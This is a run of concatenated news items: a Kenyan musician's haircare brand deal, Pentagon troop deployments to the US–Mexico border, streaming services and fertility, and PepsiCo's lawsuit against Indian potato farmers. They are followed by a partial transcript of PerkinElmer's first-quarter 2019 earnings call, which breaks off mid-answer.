Empire, as they announced her new brand deal with Marini Naturals. The Kenyan-owned haircare line on Thursday named Femi One as their limited brand ambassador. This means she will be repping the brand for a short period of time. Introducing our Limited Brand Ambassador ????.. @femi_one ???? This Female Emcee who has collaborated with the greatest artists. First of all, her pink hairdo is everyyyythiiinnggggg and its all thanks to marini.naturals. Her hair is the perfect look for her brand new release! said Marini. Femi One is fresh from releasing her 6-track E.P titled XXV. Just like fellow musician Fena did earlier this month, Femi One stripped down to a bikini for the Marini shoot, driving her fans into a frenzy. Eish ????? one fan wrote. Thick, another simply wrote. Thickness of its own kind #beautyofthewoman, wrote another. Shes just thicc.???? more of her to love, a smitten male fan added. By Idrees Ali WASHINGTON (Reuters) - The Pentagon said on Friday that it expected to send about 300 additional troops to the border with Mexico including roughly 100 cooks who would hand out meals, breaking with past policy to avoid troops coming in contact with migrants. It is the latest sign of a growing U.S. military support role for President Donald Trump's politically charged immigration policies. Earlier this month, Trump said he would have to mobilize more of the military at the border with Mexico after listening to stories about migrants crossing the border from people attending a Republican fundraiser. The Pentagon previously said there were no plans for U.S. forces to interact with migrants as they support border agents dealing with illegal immigration. In addition to the cooks, the Pentagon is expected to send 160 drivers and 20 lawyers, Pentagon spokesman Charlie Summers said. "We will have some of our troops handing out meals, therefore (they) would come in contact with migrants," Summers said. He said it was an "amendment to the current policy." U.S. troops are assisting Border Patrol agents who have been overwhelmed trying to cope with a surge in migrants seeking asylum. The Department of Homeland Security a few weeks ago redeployed about 750 officers to the border to deal with the surge, resulting in a slowing of legal crossings and commerce at ports of entry. Summers said acting Defense Secretary Patrick Shanahan had not yet signed the request for assistance from the Department of Homeland Security, but he was expected to do so. There are currently about 5,000 active-duty and National Guard troops near the border, though that number fluctuates. There has been increasing concern about the military playing a growing role on the border with Mexico. The Posse Comitatus Act, a federal law on the books since the 1870s, restricts using the U.S. Army and other main branches of the military for civilian law enforcement on U.S. soil, unless specifically authorized by Congress. But the military can provide support services to law enforcement and has done so on occasion since the 1980s. Earlier this month six Mexican military personnel questioned two U.S. Army soldiers near Clint, Texas. A U.S. military investigation found the American soldiers were in U.S. territory during the incident, while the Mexican personnel believed they were south of the border. Trump has made immigration a signature issue of his presidency and of his re-election campaign. He declared a national emergency over the issue earlier this year in an effort to redirect funding from Congress to build a wall along the U.S. southern border. (Reporting by Idrees Ali; Editing by Alistair Bell and Leslie Adler) April 26, 2019 Americans are having fewer babies than ever before, but it's tough to pinpoint the real reason why. Some experts chalk it up to the economy, and others say it's because millennial women are simply having children later in life. But a new report is blaming the declining fertility rate on something else entirely: Netflix. Earlier this week, the Wall Street Journal theorized that streaming serviceslike Netflix, Hulu, Amazon Prime Video, and YouTube TVcould be the reason fertility rates are falling. And there's some data to suggest that binge-watching is not helpful in the baby-making department. According to a survey of 1,000 people conducted by Survey Monkey, one in four adults said they've chosen streaming television over sex at least once in the past six months. Thirty-eight percent of the survey respondents, age 18 to 38, said they've been the one to choose streaming TV over sex, while 30 percent said their partner has picked streaming TV over sex. But among the 39 and up demographic, only 16 percent and 19 percent respectively said the same. The survey followed a 2017 study that looked at the correlation between Americans spending more time streaming shows and having less sex than in decades before. The study's lead author Jean Twenge, Ph.D., said the ad-free format of streaming services could be to blame. As she told the Wall Street Journal, "Now, if you're watching something streaming, the next episode is immediately available, and there are no commercials where you could look over and say, 'Honey, you look cute tonight.'" That actually makes some sense, but it might be a little unfair to pin the population decline on Netflix. Per the Daily Dot, a spokesperson for the streaming company said, "We take pride in being part of the cultural zeitgeist, but getting credit for a decadeslong decline in sex is beyond even our programming abilities." PepsiCo has offered to settle its lawsuit against four Indian farmers who grew the patented potato variety used in its Lays chips without the companys permission. The companys Indian subsidiary sought about 10 million rupees ($143,000) from each of the farmers earlier this month. The farmers grow potatoes in the western state of Gujarat, a major agricultural producer in India. The case sparked outrage from Indian farmers and social activists. PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety, PepsiCo told USA Today in a statement The company offered to drop the lawsuit if the farmers become part of its collaborative potato farming program. The farmers would have to buy seeds and sell the produce back to the company at predetermined prices. In case they do not wish to join this program, they can simply sign an agreement and grow other available varieties of potatoes. PepsiCo said. The lawyer for the farmers said they need time to consider the offer. The next hearing is June 12. PepsiCo is Indias largest processed grade potato buyer. It developed the largest collaborative potato farming operation in India, including thousands of farmers, the company said. We have been growing potatoes for a long time and we didnt face this problem ever, as weve mostly been using the seeds saved from one harvest to plant the next years crop, Bipin Patel, one of the four farmers sued by Pepsico, told Reuters. Farmers groups have asked the Indian government to make a court filing on their behalf and take action against PepsiCo. The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers that are engaged with its collaborative potato farming program, the PepsiCo statement said. The company plans to double its collaborative farming network over the next five years, including expansion into new regions. Story continues More: Amazon Prime comes to India More: Walmart outbids Amazon with Flipkart deal as online retail rivalry extends to India The PepsiCo standoff is the latest battle in India between local businesses and giant global companies. This article originally appeared on USA TODAY: PepsiCo offers to settle lawsuit with Indian farmers over their use of patented Lays potatoes Logo of jester cap with thought bubble. Image source: The Motley Fool. PERKINELMER INC ( ?????? : PKI) Q1 2019 Earnings Call April 25, 2019, 5:00 p.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator -- Good day, ladies and gentlemen, and welcome to the PerkinElmer First Quarter 2019 Earnings Conference Call. At this time, all participants are in a listen-only mode. Later we will conduct the question-and-answer session and instructions will follow at that time. (Operator Instructions) As a reminder, this conference call may be recorded. I would now like to introduce your host for today's conference, Mr. Bryan Kipp, Vice President of Investor Relations. Sir, you may begin. Bryan Kipp -- Vice President of Investor Relations Thank you, Joelle. Good afternoon, and welcome to PerkinElmer's first quarter 2019 earnings conference call. With me on the call are Rob Friel, Chairman and Chief Executive Officer; Prahlad Singh, President and Chief Operating Officer; Jamey Mock, Senior Vice President and Chief Financial Officer. If you have not received a copy of our earnings press release, you may get one form the Investors section of our website at www.perkinelmer.com. Please note this call is being webcast live and will be archived on our website until May 9. Before we begin, we need to remind everyone of the safe harbor statements that we have outlined in our earnings press release issued earlier this afternoon and also those in our SEC filings. Any forward-looking statements made today represent our views only as of today. We disclaim any obligation to update forward-looking statements in the future even if our estimates change. So you should not rely on any of today's forward-looking statements as representing our views as of any other date after today. During this call, we will also be referring to certain non-GAAP financial measures. A reconciliation of non-GAAP financial measures we plan to use during this call to the most directly comparable GAAP measures is available as an attachment to our earnings press release. To the extent we use non-GAAP financial measures during this call that are not reconciled to GAAP in that attachment, we will provide reconciliations promptly. Story continues I'm now pleased to introduce the Chairman and Chief Executive Officer of PerkinElmer, Rob Friel. Robert F. Friel -- Chairman and Chief Executive Officer Thanks, Bryan, and good afternoon everyone. I'm pleased to report PerkinElmer had a very good start to 2019, delivering a strong performance in the first quarter. Revenue for the first quarter was $649 million, representing organic growth of 5%. Adjusted earnings per share was $0.69, representing growth of 10% over Q1 last year and $0.03 better than our guidance. EPS fee was attributable to slightly higher organic revenue growth in the quarter and better operating margin expansion as adjusted operating margins increased to 130 basis points in the quarter. In addition, we continue to execute on plans to invest in high-growth areas, shift the organization to a more unified structure and further improve operating margins. From end market perspective, the first quarter played out similar to our expectations, except that we were able to ship about half of the revenue we thought, we would missed as a result of the US government shutdown. Looking at our growth by market, Americas was strong up high-single digits led by diagnostics forming food. Asia was solid up mid-single digits with strength in diagnostics and pharma. Europe was down modestly due to softness in industrial environmental and food end markets. Looking ahead, we continue to expect improved growth momentum in APAC, solid growth trend in the Americas and modest growth in the low single digits in Europe. While, Jamey will discuss our end markets in more detail, the macro drivers to our growth remained largely unchanged. In diagnostics, the prevalence of infectious and autoimmune diseases continues to grow, particularly in emerging markets, increasing demand for earlier diagnosis and the rising adoption of new technologies also fueling growth across all three of our segments of reproductive health, immuno diagnostics and genomics. In Life Sciences , we continue to see robust demand in both product sales and services within the pharma and biotech markets as our customers continue to increase investments in tools and technologies to improve their research lab productivity. Within food analysis market growth continues to be driven by the rising outbreaks of foodborne illnesses, advances in technology for food safety testing and globalization of the food supply. Lastly, our environmental and applied markets generally track macroeconomic conditions and as such are experiencing stronger growth in the Americas with softness in Europe and Asia. Influenced by these market trends, we continue to shape our portfolio actions and investment priorities to expand in the key growth areas, I outlined in January. During the first quarter, these areas experienced strong growth as we continue to execute on our plans to invest and build out these differentiated capabilities. I'll ask Prahlad to briefly update you on our activities regarding these key growth initiatives, as well as how we are better aligning our organization to optimize these opportunities and better serve our customers. In addition to these organically funded initiatives, we continue to deploy capital to complement these growth areas with companies that add technology and leadership positions in synergistic market applications. A good example of this is our announcement today of our purchase of Cisbio Bioassays. Cisbio is based in France and reduces kits and reagents for life science and diagnostic markets. Last year generated just over $50 million in revenue with margins north of 25%. We're very excited to welcome Cisbio team to PerkinElmer and believe it provides us a number of strategic opportunity. In the area of drug discovery, we will now have the broadest capabilities with regard to homogeneous detection technologies, helping science that accelerate workflows and more efficiently stream potential drug candidates. Cisbio also enables our expansion in the cellular imaging regions complement our strong positions in high content and in vivo imaging markets. In addition, approximately 25% of the revenue is focused on in vitro diagnostics, which is very complementary with EUROIMMUN And finally, they bring strong technical capabilities and intellectual property in molecular and cellular biology and assay development. Once integrated our combined resources should result an accelerated growth and innovation in our reagent portfolio for the life sciences and drug discovery markets. Jamey will discuss the financial aspects of the deal later in the call. As I mentioned earlier, another key focus area for us this year is expanding our operating margins, and I was particularly pleased with our performance in the first quarter. The majority of this progress was attributable to three areas that we've targeted this year; the first is EUROIMMUN, where more favorable product mix and improved cost management added roughly 60 basis points to the margin. The second is improved factory productivity, which drove about 50 basis points of margin expansion, with the remaining factor was continued success and leveraging operating expenses by maintaining our SG&A expenses flat, while revenue grew 5% organically. The progress we made this quarter reinforces our confidence in the full-year plan to increase operating margins 120 basis points to 150 basis points. So to summarize the start of the year, we delivered strong financial performance, continue to make good progress on those areas that accelerate our growth completed the Cisbio acquisition which adds terrific capabilities and is attractive financially and we experienced good traction on our initiatives to significantly expand our operating margins. Now, I'd like to turn the call over Prahlad to give you some more color on our growth initiatives. Prahlad Singh -- President and Chief Operating Officer Thanks, Rob. As I mentioned during last year's -- last quarter's earnings call, we are running around an end market approach to create the most advanced solutions for our customers in the key markets we serve. This approach will enable us to drive leadership across our priority end markets, whether through the differentiated solutions we are creating to meet customer needs, our strategic partnerships and acquisitions that will deliver incremental value to our customers, we're focused on solving the next big thing in Science and Healthcare. In that regard, I've had the opportunity of spending a great amount of time this past quarter meeting with customers, employees and shareholders across all of PerkinElmer, and it has further reinforced the need and opportunity for us to move forward on this strategy. Rob mentioned, our key growth accelerators, and I would like to give you a sense of the progress we are making in a few of these areas, which we believe will fuel long- term top line growth while expanding profitability. We continue to execute against our previously stated key priorities of providing an exceptional customer experience being recognized as an innovation leader and making people and culture a competitive advantage. To accelerate our efforts, we are focused internally on reshaping the organization to leverage our capabilities across PerkinElmer. We recently announced our combined R&D organization that brings together our technical capabilities across businesses and geographies and aligns our two R&D groups from Diagnostics and Discovery & Analytical Solutions under one team. Further, as we continue to see capabilities and applications that our customers demand converge across our end markets, we are revamping our go-to-market approach to maximize the benefit from the intersections of our technologies and expertise across end markets. This will be a seamless transition that positions us to immediately create even more relevancy and opportunities with customers around the globe. From an operation standpoint, we have launched several initiatives that will improve the customer experience from quickening order fulfillment to optimizing the supply chain. Importantly, we are fully capitalizing on the trend toward digitalization and we'll be implementing a companywide digital transformation strategy aimed at recrafting our digital architecture, assets and capabilities to better benefit our customers and organization. Similarly in immunodiagnostics, we continue to leverage the capabilities of EUROIMMUN and PerkinElmer to launch innovative products and penetrate new markets for allergy, autoimmune and infectious disease testing. We received FDA clearance for two Celiac markers to complete EUROIMMUN's offerings in the US and help expand our test menu within existing lab accounts. We continue to expand our autoimmune screening footprint with some key events and expect that by early Q3, we will boost EUROIMMUN's market share in the US market to 50%. The market for autoimmunity screening testing is anticipated to increase as more patients gain access to testing. Building upon our leadership in the burgeoning area of genomics in collaboration with Helix and Genome Medical we launched GenePrism: Actionable Insights. This is a genetic test that will return results for 59 genes, which the American College of Medical Genetics and Genomics have associated with potentially life-threatening, but actionable health conditions. PerkinElmer is the only truly global genomics lab covering all aspects of genomics biochemical, cytogenetics and molecular testing with options from prenatal with -- or Vanadis NIPT test to postnatal with whole-genome sequencing. We are also uniquely able to conduct testing for both sick and healthy populations. For healthy individuals GenePrism offers elective genomic sequencing of actionable genes. This test is not a direct-to-consumer test, but rather physician-driven, which includes pre and post-test genetic counseling. PerkinElmer genomics will provide data analysis, interpretation, clinical reports to individuals who purchase the product. Within reproductive health our Vanadis NIPT system continues on track and we are ramping up our global service and support teams. The funnel is strong and is improving with each quarter. We also continue to expand our newborn screening business around the world. The latest milestones being in Singapore. By end of this year, all newborn babies in Singapore will be screened for treatable genetic disorders with PerkinElmer solutions. Lastly, I would like to provide some updates on our focus on the food and cannabis end markets. We were recently awarded Emerald Test badges for our proficiency in cannabis testing. As state and federal regulations in this space evolves, Emerald Test results provide a benchmark for laboratories in the cannabis industry to ensure a safe, high-quality products. Our analytical instruments such as the QSight Series and testing methods were proven to meet the highest standards and accurately detecting pesticides, heavy metals, residuals, solvents and turbines in cannabis, as well determining product potency. By qualifying as a vendor and not just a testing lab PerkinElmer is even better positioned above the competition to demonstrate that our technology, application knowledge and SOPs are the best choice for customers. I look forward to sharing ongoing progress with you during the year, and will now hand the call over to Jamey. Jamey Mock -- Senior Vice President and Chief Financial Officer Thanks, Prahlad, and good evening, everyone. I want to start with the financial highlights for the first quarter of 2019. Next, I'll provide some additional color on our served end markets in detail and other financial metrics. I'll finish by providing a brief update on how we are thinking about the rest of 2019. Turning to the first quarter results. We continue to be pleased with the strength in our business as organic revenue grew approximately 5%. Reported revenue in the first quarter of $649 million included a 4% foreign exchange headwind and net acquisitions had a negligible impact. As discussed in our previous guidance for the quarter, the temporary US government shutdown created a delay in the approval process for an export control product, which led to a 1% headwind in the quarter. Both segments and geographies grew in line with our initial assumptions heading into the year. Diagnostics representing 40% of total sales grew 9% organically driven by broad-based growth across our reproductive health, Applied Genomics and immunodiagnostics business lines. Discovery & Analytical Solutions representing 60% of total sales grew 2% organically, highlighted by strength in pharma biotech end market. I will provide some additional color on both businesses in a moment. As expected organic revenue growth was mixed on a geographic basis. High single-digit organic revenue growth in the Americas and mid single-digit organic revenue growth in APAC was modestly offset by a low single-digit organic revenue decline in Europe. Excluding the impact from the lost revenue due to the US government shutdown both APAC and China were up high single digits. We are encouraged by our operational performance in the first quarter. Adjusted gross margins were up 120 basis points to 49.8%. Adjusted operating margins expanded 130 basis points in the first quarter to 16.2%, driven by strong productivity in our diagnostics business and good operating expense leverage. As Rob mentioned, adjusted earnings per share of $0.69 was an increase of 10% versus the first quarter of 2018 and was $0.03 better than our guidance in January. The beat was comprised of $0.01 from greater organic revenue growth and $0.02 from more favorable incremental margins. Looking further into the key drivers within our segments for the first quarter of 2019, let's start with our diagnostics business. As mentioned in my earlier remarks, organic revenue grew 9% driven by broad-based momentum across our portfolio. Reproductive health grew high single-digits organically driven by our genomics testing business. We remain on track to double revenue in our genomics testing business year-over-year in 2019. Immunodiagnostics grew low double-digits organically led by double-digit organic growth in EUROIMMUN and Tulip. As Prahlad mentioned we're encouraged by our progress in the US and excited about our future NPIs over the next couple of years. Applied Genomics products grew high single-digit as customers increasingly rely on our automated sample to answer portfolio. Finally, we are encouraged by the initial feedback from our this early adopters and remain on track to have 30 total installations by the end of the year. Turning to Discovery & Analytical Solutions, the first quarter was impacted by several unique timing items. However, we feel confident the business will grow mid single-digits in 2019. We experienced high single digit organic revenue growth in pharma biotech, demand for our leading discovery product portfolio remained robust led by our high content screening an in vivo imaging solutions. This marks our fourth consecutive quarter of double-digit organic revenue growth and our imaging and detection product lines. We are optimistic that this bio, which I will talk about in a few minutes will help further our leading discovery portfolio, further improve our leading discovery portfolio. Additionally, we experienced high single digit organic revenue growth in our OneSource business and flat organic revenue growth in our informatics business often difficult first quarter 2018 comparison. The two end markets impacted most by timing were applied and academic end government. Applied markets which grew low single digits, would have been mid single digits, excluding the impact from the US government shutdown. Academic and government, which had a double-digit decline of a small revenue base would have been flat excluding the US government shutdown and service timing delays. Looking at below the line items, adjusted net interest and other expense for the first quarter was approximately $14 million and our adjusted tax rate was approximately 16% driven by discrete items. Turning to the balance sheet. We finished the quarter with approximately $1.9 billion of debt and $134 million of cash. We exited the quarter with a net debt to adjusted EBITDA ratio of approximately 2.8 times. Free cash flow in the quarter was negative $25 million and adjusted free cash flow in the quarter was negative $7 million. The difference between the reported and adjusted numbers due to cash payments associated with the Tulip and Vanadis acquisitions. Working capital uses increased mostly due to seasonal inventory builds. We have ongoing actions to execute our full year cash flow plan and we continue to forecast adjusted free cash flow conversion of 95% in 2019. As Rob mentioned, we are excited about our acquisition of Cisbio, the net purchase price of approximately $215 million. We expect a double-digit return on invested capital by year four. Cisbio had about $51 million of revenue in 2018. For the remainder of 2019, we expect Cisbio to contribute $35 million in revenue and approximately $0.02 of adjusted earnings per share in PerkinElmer. Given our strong first quarter results and the addition of Cisbio, we are raising our revenue and adjusted earnings outlook for 2019. We expect revenue for the year to be approximately $2.93 billion, including $42 million from foreign exchange headwinds, $35 million of contributions from Cisbio, and 6% organic revenue growth. For the full year, we expect EPS -- adjusted EPS of $4.02 to $4.07, driven primarily by the addition of Cisbio. Implicit in this guidance is adjusted operating margin expansion of 120 basis points to 150 basis points, $60 million of interest and other expense and a tax rate of 16%. We expect our share count to be slightly under 112 million shares. For the second quarter of 2019, we are forecasting reported revenue of $730 million, representing 5% to 6% organic revenue growth, including a foreign exchange headwind of approximately $18 million versus the comparable prior period and $8 million from Cisbio. In terms of adjusted earnings per share guidance, we are forecasting $1. This concludes my prepared remarks. Operator, at this time, we would like to open the call for questions. Questions and Answers: Operator -- Thank you. (Operator Instructions) Our first question comes from Steve Willoughby with Cleveland Research. Your line is now open. Stephen Willoughby -- Cleveland Research -- Analyst Hi. Good evening. A question for you, just on guidance first, Jamey. You beat here by $0.03 in the first quarter. This acquisition you're saying is $0.02 accretive. It looks like your interest expense for the year might be coming down a few million as well. What is the offset then that you're only raising your full year guidance by $0.02? And then I have one follow-up. Jamey Mock -- Senior Vice President and Chief Financial Officer Sure. Thanks for the question Steve. So, yes, the $0.03 beat in the first quarter, we think a couple of pennies will come back in the second quarter, that's due to the extra organic revenue growth for the export-controlled products as well as a little bit of margin expansion with a little bit of timing. The offset to the extra penny is a little bit -- actually a little bit extra interest expense in the year, because our pre-cash flow performance in the first quarter was a little less than expected. So I think you might be referring to total -- that the number that I quoted was total interest expense and other and that was $60 million as our guidance for the year. Stephen Willoughby -- Cleveland Research -- Analyst Okay, great. And then, I was just wondering if someone could comment and provide a little bit more color, just on how the Vanadis rollout is going? How discussions as it relates to reimbursement is going? How people are seeing throughput, et cetera? And maybe an update on when we will see some clinical publications on that. Prahlad Singh -- President and Chief Operating Officer Yes. Steve, this is Prahlad. So the Vanadis installations are going per plan that we have shared earlier. We've had 13 installations by the end of Q1. I personally have visited the first seven customers over the last month and the feedback has been very positive. And generally customers continue to remain excited. We have a pretty strong pipeline. So that's from an installation and a current status perspective. We have submitted publication. So hopefully it's going through the peer review process and that provides data around all the CE-IVD, the clinical arm the CE Mark that was submitted. In the U.S. we've -- as you know we've got the women and infants -- the value study that's ongoing. We've just very initially begun discussions and started exploring as to what our strategies should be around payers. So it's still in its early stages in regards to reimbursement. Operator -- Thank you. And our next question comes from Patrick Donnelly with Goldman Sachs. Your line is now open. Patrick Donnelly -- Goldman Sachs -- Analyst Great, thanks guys. Rob, maybe one for you, just on China, we've seen some mixed data points there. You had one peer who saw a decline called out a few specific areas of weakness, another peer put up a really strong quarter sounded bullish across the board. And then on the more macro side, we saw some core industrial companies report even today kind of blaming the macro in China and saw a big slowdown there. I know you guys had high single kind of removing onetime stuff. So, can you just provide your perspective on that market help us think about the state of the market there during the quarter and then also just to go forward? Robert F. Friel -- Chairman and Chief Executive Officer Yeah. So, for us, it was a good quarter in China. I would say the majority of our end markets continue to see good growth. So, if you look particularly in the diagnostic side, EUROIMMUN did well. Our immunodiagnostic business continues to do pretty well. And so I would say, on the diagnostic side we saw a good strength. On the Pharma aside we continue to see good strength. But I would say to the extent, that was somewhat offset by weakness more on the applied markets. And we think some of them are maybe timing related. But as you said, when you exclude the sort of onetime impact of the export-controlled product, we were sort of high-single digits. So we feel pretty good about the China momentum going into the second quarter. Patrick Donnelly -- Goldman Sachs -- Analyst Okay. And then maybe just on DAS, calling for pretty healthy uptick to mid-single digits in 2Q, facing a significantly more difficult comp. I know you touched on a bit. But can you just talk through the moving pieces there how much visibility you have? And what drives that business really higher on kind of a two-year stack number? Robert F. Friel -- Chairman and Chief Executive Officer So, first of all, we did see strong growth or continued strong growth in the Pharma biotech which is sort of high-single digits for us in the first quarter. We think that continues. Some of that was offset from some academic markets that were quite frankly timing related. There were a number of items there, that sort of caused that to be actually negative in the quarter, we don't think that's a market phenomenon. We think that's unique to a couple of things we had. So, if academic goes back to sort of positive, we think that will drive life sciences to sort of mid- to high-single digits. And then as I mentioned before, there was some things in the implied markets outside the U.S. that I think -- when we look at the bookings we're fairly confident that we'll return that business to sort of mid-single digits despite the difficult comp with last year. Patrick Donnelly -- Goldman Sachs -- Analyst It's very helpful. Thanks. Operator -- Thank you. And our next question comes from Doug Schenkel with Cowen. Your line is now open. Chris McCabe -- Cowen and Company -- Analyst Hey. Good afternoon. This is Chris on for Doug today. Thanks for taking my question. So, just based on your Q2 core revenue guidance, it looks like, the core revenue growth for the year is back-end loaded. By our math you're essentially guiding to 6.5% to 7% core growth in the second half relative to a 5% growth in the first half. So with that in mind, can you just walk us through the key drivers behind the 150 basis points to 200 basis points of revenue growth deceleration in the second half? Robert F. Friel -- Chairman and Chief Executive Officer So why don't I take the revenue and then maybe Jamey can talk a little bit about the margin. But, I think actually going into the year we talked about the fact that the back end will be a little better from both a revenue perspective as well as a margin perspective. And a lot of that is because a lot of the growth accelerators that Prahlad mentioned, so whether it's our genetic testing business, whether it's Vanadis, whether it's some of the MPIs that are coming out later in the year will ramp up the revenue growth. And that also impacts our margins to some extent. But I'll let Jamey speak to the margins then. Jamey Mock -- Senior Vice President and Chief Financial Officer Yeah. That's what I was going to say. So, 130 basis points of margin expansion in the first quarter, the first half of the year Chris is probably 46% to 47% of our revenue. And so we get a lot more volume leverage in the second half of the year. So if we're in the 120 range already in the first half, we feel very confident in the 120 to 150 for the total year. Thank you. Chris McCabe -- Cowen and Company -- Analyst Okay. And then for my follow-up question, could you just provide a bit more on Europe performance, specifically why end markets were soft there. And do you expect that to remain here for the balance of the year? And maybe just more broadly, are there any major changes to your end market or geographic growth assumptions for the year? Thank you. Robert F. Friel -- Chairman and Chief Executive Officer Yeah. I would say the pressure we saw in Europe was largely in the applied markets and also academic. And that really put some pressure on our DAS growth rates. The majority of our Diagnostics business continued to do well in Europe. And so for Europe overall we were just slightly negative. And then your question whether we do think that's going to come back somewhat in the remainder of the year, I think we talked in the beginning of the year of targeting Europe at sort of low single-digits. And we still think that's the appropriate number for Europe. Operator -- Thank you. And our next question comes from Brandon Couillard with Jefferies. Your line is now open. Brandon Couillard -- Jefferies -- Analyst Thanks, good afternoon. On the Cisbio deal, could you help us kind of understand what the growth profile of that asset is? And any opportunities you might see to accelerate growth or profitability under the Perkin umbrella? Robert F. Friel -- Chairman and Chief Executive Officer Yeah. So I would say we're quite excited about this acquisition because we think it's extremely complementary to what we do on drug Discovery. And so I mentioned a little bit in my prepared remarks, but we think with Cisbio combined with our strength in some of the areas particularly around luminescence. And so we do a lot of work around luminescence. They have a very strong fluorescent portfolio of assays. Of course then when you combine that with our automation and detection, we can now go with a fully automated workflow whether it's reagents plates, automation detection information. So all the drug discoveries and I had alluded to before, we're the only company now that can provide all three assay tests for on a homogeneous. So, whether you want to look at luminescence, whether you want to look at fluorescence, or whether you want to look at radiometric. So we think by combining our efforts with Cisbio's capabilities, we can accelerate the growth. And historically they've grown fairly well. So we think this business with PerkinElmer definitely gets into the high-single digits maybe even a little bit better than that. The other aspect I alluded to is I think you know well, we have a very strong imaging portfolio whether it's high content or whether it's in vivo. But generally up to this point we've been principally around in instruments and software and no other firms so sell the cellular imaging reagents that go with our imaging instruments. While with Cisbio's technology and capabilities, we'll be able to expand in the cellular imaging reagents and consumables. And so, therefore, we'll be able to go to our customers with a package with the instruments software and the assays. And I think that further drives incremental growth between the two companies. Brandon Couillard -- Jefferies -- Analyst Thanks. And just a quick follow-up for Jamey. Could you help us with the impact of currency on the gross and operating margin lines? And any impact on EPS in the quarter? Jamey Mock -- Senior Vice President and Chief Financial Officer Yeah. Gross operating margin, foreign exchange was probably about 20 basis points. And on an operating margin it was about 30 basis points with regards to foreign exchange. Brandon Couillard -- Jefferies -- Analyst Okay. Thank you. Operator -- Thank you. And our next question comes from Paul Knight with Janney. Your line is now open. Robert F. Friel -- Chairman and Chief Executive Officer Paul, we can't hear you. Paul Knight -- Janney -- Analyst Hey, can you hear me now, Rob? Robert F. Friel -- Chairman and Chief Executive Officer Yes, Paul. How are you? Paul Knight -- Janney -- Analyst Congrats on your -- congratulations on your new IR person. Robert F. Friel -- Chairman and Chief Executive Officer I understand, he was trying to rob [ph]. Paul Knight -- Janney -- Analyst Anyway. Hey, Rob can you talk about China. I mean you were one of the early innovators there with SYM-BIO. Is that -- can you also talk about your M&A pipelines specifically in that market? And my next question would be your U.S. penetration now in Diagnostics with your broader product line? Thanks. Robert F. Friel -- Chairman and Chief Executive Officer Yes. So why don't I take the China discussion I'll pass it over to Prahlad on the US and I assume you're talking mostly with EUROIMMUN on the US penetration? Paul Knight -- Janney -- Analyst Yeah, correct. Robert F. Friel -- Chairman and Chief Executive Officer But as you pointed out, we were fairly early in the China market. SYM-BIO brought us some terrific distribution capabilities and then we've added with high wound blood screening in a number of other areas. So -- and of course EUROIMMUN brings a very strong capability in China. So I think first of all looking at the diagnostic side, we feel very good about our capabilities. We continue to look for opportunities from an inorganic perspective to add to that and we invest a lot of time and effort in that regard. And I guess I would say stay tuned on that one. Where we've been a little bit more active recently is on the DAS side. And as you saw over the last sort of year or two, we've been adding some assets on the analytical instruments side. We're looking very active in the applied markets like for areas like food and other areas that are higher growth areas and I'd say very active there and hopefully we'll have something to talk about maybe later this year. Let me turn it over to Prahlad maybe he can talk a little bit about the EUROIMMUN penetration in the US. Prahlad Singh -- President and Chief Operating Officer Yeah. Thanks, Rob. And Paul I think EUROIMMUN continues to do well in the U.S. As I mentioned they got two approvals on celiac markers this quarter. They continued to grow well, they had a major lab victory, which will not only give them instrument penetration but also continued asset penetration over the years. They grew low double digits in the first quarter and we see very good traction for the rest of the year. Paul Knight -- Janney -- Analyst Thanks very much. Operator -- Thank you. And our next question comes from Bill Quirk with Piper Jaffray. Your line is now open. Dan -- Piper Jaffray -- Analyst Hi, thanks. This is Dan on for Bill. First on Tulip, it sounds like growth was strong in the quarter. I think you said double digits. Could you just provide an update there? And then any insight on new offerings as well? Thanks. Robert F. Friel -- Chairman and Chief Executive Officer Yeah. Tulip, again as you said it continues to do well, they had double-digit growth and their pipeline is growing both not just in India, but we are also looking at how do we take the product portfolio out into some of the other emerging markets. So great traction there they had a very good 2018 and a very good start to the year. Dan -- Piper Jaffray -- Analyst Okay, great. Thanks. And then I'm a millennial. So stereotypically, I'd ask about cannabis. Do you guys have any update on what kind of market opportunity you're seeing there? Robert F. Friel -- Chairman and Chief Executive Officer Yes. So you know we talked in the beginning of the year of the opportunity to probably double that business in 2019. And just a reminder, we did about $10 million last year. So we're -- got to go about $20 million and I would say we saw strong growth in the first quarter and we think we're on -- well on track to at least do $20 million in 2019. Dan -- Piper Jaffray -- Analyst Last thing. Operator -- Thank you. And our next question comes from Jack Meehan with Barclays. Your line is now open. Mitchell Petersen -- Barclays -- Analyst Hey. Thank you. This is actually Mitch Petersen on for Jack this afternoon. So pretty good growth out of OneSource in the quarter I was just hoping you could unpack that for us a little bit. I know you're expecting to lap some enterprise wins there. And then, as we think about the balance of the year, do you think the high single-digit growth rate from 1Q 2019 is sustainable for the remainder of 2019? Thanks. Jamey Mock -- Senior Vice President and Chief Financial Officer Hey, Mitch it's Jamey. Thanks for the question. So yes. I mean, OneSource is going as planned. So we still feel confident in the high single-digits for the year. As we mentioned before, we're looking at some tenders that we think could land in the second half maybe late maybe have an impact to that, but still feel good about it and I think no change in the overall guidance. Mitchell Petersen -- Barclays -- Analyst Great. That's helpful. And then maybe just to confirm, it sounds like you pulled in half of what you expected from the US government shutdown. Do you expect to recoup the other half of that in the second quarter? Jamey Mock -- Senior Vice President and Chief Financial Officer Yes. That's right. It's a -- we got about half in the first quarter. So going back to Steve's point and some of the questions around DAS mid single-digits in the second quarter we get -- that we expect some of that -- the second portion of that to come in the second quarter, which also helps give confidence to mid single-digits for DAS in the second quarter. Mitchell Petersen -- Barclays -- Analyst Got it. Thanks a lot. Operator -- Thank you. And our next question comes from Ross Muken with Evercore. Your line is now open. Luke Sergott -- Evercore -- Analyst Hey, guys. This is Luke on for Ross today. Just real quick a couple of housekeeping ones. Did you break out the -- by your expectations for guidance by segment? I think I missed that one. Robert F. Friel -- Chairman and Chief Executive Officer Expectation for Q2, or for the year? Luke Sergott -- Evercore -- Analyst Yeah, for 2Q. Jamey Mock -- Senior Vice President and Chief Financial Officer No. No. We didn't give the expectations for 2Q. But I think generally speaking probably high single-digits for Diagnostics mid single-digits for DAS is the way to think about 2Q. Luke Sergott -- Evercore -- Analyst Okay. That's great. And I guess on the just sticking with the Diagnostics growth and how strong it's been over the last couple of quarters, how much of that is due to strong market conditions and just high-growth markets speaking of immunodiagnostics et cetera? And how much of that is really your expanding portfolio and kind of everything starting to come together for you guys? Prahlad Singh -- President and Chief Operating Officer I think it's a combination of both. If you look at it from the reproductive health perspective, I think despite 